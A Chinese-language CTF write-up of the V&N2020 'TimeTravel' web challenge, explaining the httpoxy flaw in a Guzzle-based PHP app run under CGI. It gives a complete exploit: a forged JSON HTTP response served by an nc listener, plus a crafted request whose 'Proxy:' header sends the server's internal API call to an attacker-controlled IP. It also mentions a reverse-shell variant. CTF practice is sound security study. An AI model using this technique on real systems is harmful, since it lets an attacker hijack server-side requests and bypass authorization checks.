[V&N2020 公开赛]TimeTravel 复现
大佬友链(狗头):https://www.cnblogs.com/p201821440039/
参考博客:
https://www.zhaoj.in/read-6407.html
https://cjm00n.top/2020/02/29/V-N%E5%85%AC%E5%BC%80%E8%B5%9B2020-writeup/
https://www.cnblogs.com/20175211lyz/p/12398612.html
https://www.cnblogs.com/wangtanzhi/p/12388331.html
https://buki-freak.github.io/2020/03/04/V-N-%E5%86%85%E9%83%A8%E8%80%83%E6%A0%B8-wp/#TimeTravel
菜鸡当时没有打出来,后来趁着还有记忆赶快记录一下!
首先进入就直接给了源码:
<?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Client;
highlight_file(__FILE__);
if(isset($_GET['flag'])) {
$client = new Client();
$response = $client->get('http://127.0.0.1:5000/api/eligible');
$content = $response->getBody();
$data = json_decode($content, TRUE);
if($data['success'] === true) {
echo system('/readflag');
}
}
if(isset($_GET['file'])) {
highlight_file($_GET['file']);
}
if(isset($_GET['phpinfo'])) {
phpinfo();
}
代码的主要含义就是:
1.传入一个flag,就会去请求HTTP-api服务,假如该服务器返回success的话,就会执行程序读取flag,传file进入的话就会去读取这个文件,如果是pipinfo,则执行phpinfo
起初也没发现怎么做,后来复现的时候才知道是考的CGI特性,了来源是VULHUB的一道题
首先随意看看phpinfo,貌似没有什么
赵师傅的博客里写了:

然后才知道
在大佬的提示下:此处是use GuzzleHttp\Client,Guzzle 使用的是 RFC 3875 (CGI)
![]()
因此考点就是httppoxy这个东西
那么是怎么利用的嘛:
是因为其的代码以cgi模式运行,那么cgi模式是啥?
CGI是common gateway interface的缩写,大家都译作通用网关接口,但很不幸,我们无法见名知意。
总所周知,web服务器所处理的任务都是静态的,假如其要想处理动态的任务,则需要web应用程序的帮助,比如PHP,jsp,python,perl等
为了将web服务器的动态请求传递给这些应用程序,依靠cgi协议。
简单的cgi工作方式:
![]()
有多种方式可以执行cgi程序,但对http的请求方法来说,只有get和post两种方法允许执行cgi脚本(即上面的search程序)。实际上post方法的内部本质还是get方法,只不过在发送http请求时,get和post方法对url中的参数处理方式不一样而已。
更多关于CGI详细的解释:链接
然后关于cgi'还有好多东西,后面再整理一篇博客(我又挖坑给自己跳了)
总而言之就是这个规则会将header中的proxy参数设置冲环境变量HTTP_PROXY
以下是影响范围:
![]()
所以跟之前的那道题一样,要在监听端口,于是开一台内网服务器
(网上有两种方法都尝试了,但是只有下面这种我拿到flag了)
使用下面的exp:
建一个b.txt文件
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Fri, 06 Mar 2020 18:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16
{"success":true}
然后传到服务器上(也可以在服务器上直接vim,但是我的xshell好像有问题)
然后运行监听端口
nc -lvp < b.txt
然后bp发包如下(重点是最后一句):
GET /?flag=123 HTTP/1.1
Host:xxxxxxxxnode3.buuoj.cn:27571
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Proxy: http://174.0.236.30:8888
然后就拿到flag
![]()
突然发现还有两种解法:第二种解法 这个使用php -S 0:xxxx端口语句
第三种解法 这个解法是反弹shell
[V&N2020 公开赛]TimeTravel 复现的更多相关文章
- 刷题记录:[V&N2020 公开赛]TimeTravel
题目复现链接:https://buuoj.cn/challenges 参考链接:2020 年 V&N 内部考核赛 WriteUp V&N公开赛2020 writeup httpoxy ...
- [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap
[V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...
- [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap
[V&N2020 公开赛]simpleHeap 附件 步骤: 例行检查,64位,保护全开 根据题目可知是一道堆,直接用64位ida打开 我修改了这些函数的名称,这样方便看程序 add,我们可以 ...
- [BUUCTF]REVERSE——[V&N2020 公开赛]CSRe
[V&N2020 公开赛]CSRe 附件 步骤: 例行检查,无壳儿,但是有NET混淆,使用de4dot工具进行处理 之后用dnSpy打开,从入口点开始看程序 找到有关flag的信息 flag由 ...
- [BUUCTF]REVERSE——[V&N2020 公开赛]strangeCpp
[V&N2020 公开赛]strangeCpp 附加 步骤 查壳,无壳,64位程序 64位ida载入,没有main函数,根据程序里的字符串,去查看函数 __int64 __fastcall s ...
- [BUUCTF]PWN——[V&N2020 公开赛]babybabypwn
[V&N2020 公开赛]babybabypwn 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看程序的大概情况 64位ida载入,看一下main函数 sub_1202()函 ...
- [BUUCTF]PWN——[V&N2020 公开赛]warmup
[V&N2020 公开赛]warmup 附件 步骤: 例行检查,64位程序,除了canary,其他保护都开 本地运行一下,看看大概的情况 64位ida载入,从main函数开始看程序 看到程序将 ...
- 【pwn】V&N2020 公开赛 simpleHeap
[pwn]V&N2020 公开赛 simpleHeap 1.静态分析 首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载 然后checksec一下,保护全开 拖入IDA ...
- [V&N2020 公开赛] Web misc部分题解
0x00 前言 写了一天题目,学到了好多东西, 简单记录一下 0x01 Web HappyCTFd 直接使用网上公开的cve打: 解题思路:先注册一个admin空格账号,注意这里的靶机无法访问外网,邮 ...
随机推荐
- OSPF与ACL的综合应用
在企业中OSPF和ACL应用特别广泛,本实验介绍OSPF和ACL具体配置过程 实验拓扑: 实验要求: 1.企业内网运行OSPF路由协议,区域规划如图所示:2.财务和研发所在的区域不受其他区域链路不稳定 ...
- Building Applications with Force.com and VisualForce (DEV401) (二五):Visualforce Controller
Dev401-026:Visualforce Pages: Visualforce Controller Module Objectives1.Identify the functionality ...
- effective-java学习笔记---使用标记接口定义类型40
标记接口(marker interface),不包含方法声明,只是指定(或“标记”)一个类实现了具有某些属性的接口. 例如,考虑 Serializable 接口.通过实现这个接口,一个类表明它的实例可 ...
- effective-java学习笔记---优先使用泛型方法30
泛型类型比需要在客户端代码中强制转换的类型更安全,更易于使用. 当你设计新的类型时,确保它们可以在没有这种强制转换的情况下使用. 这通常意味着使类型泛型化. 如果你有任何现有的类型,应该是泛型的但实际 ...
- 近期 github 机器学习热门项目 top5
欢迎大家关注我们的网站和系列教程:http://panchuang.net/ ,学习更多的机器学习.深度学习的知识! 作者:Walker No1:NVIDIA's vid2vid Technique( ...
- 一书吃透机器学习!新版《机器学习基础》来了,教材PDF、PPT可下载 | 资源
不出家门,也能学习到国外高校的研究生机器学习课程了. 今天,一本名为Foundations of Machine Learning(<机器学习基础>)的课在Reddit上热度飙升至300, ...
- Python第七章-面向对象
面向对象编程基础 一.面向对象概念 1.1 什么是面向过程 就是分析出解决问题所需要的步骤,然后用函数把这些步骤一步一步实现,使用的时候一个一个依次调用就可以了. 生活中的的例子举例. 1.2 ...
- 编译原理:LL(1)文法的判断,递归下降分析程序
1. 文法 G(S): (1)S -> AB (2)A ->Da|ε (3)B -> cC (4)C -> aADC |ε (5)D -> b|ε 验证文法 G(S)是不 ...
- VBScript - 动态 Array 实现方法大全!
记录一些方法,关于 VBScript 中,动态 Array 的实现 ,也适用于 VBA, 很久以前,写 VBA 的时候,就觉得使用 Array 很不方便,因为大小固定, 当时想的是,要是 Array ...
- coding++:SpringBoot 处理前台字符串日期自动转换成后台date类型的三种办法
第(1)种: 使用@DateTimeFormat(pattern = “yyyy-MM-dd HH:mm:ss”)注解在实体字段上. 这种方式的优点是:可以灵活的定义接收的类型 缺点很明显:不能全局统 ...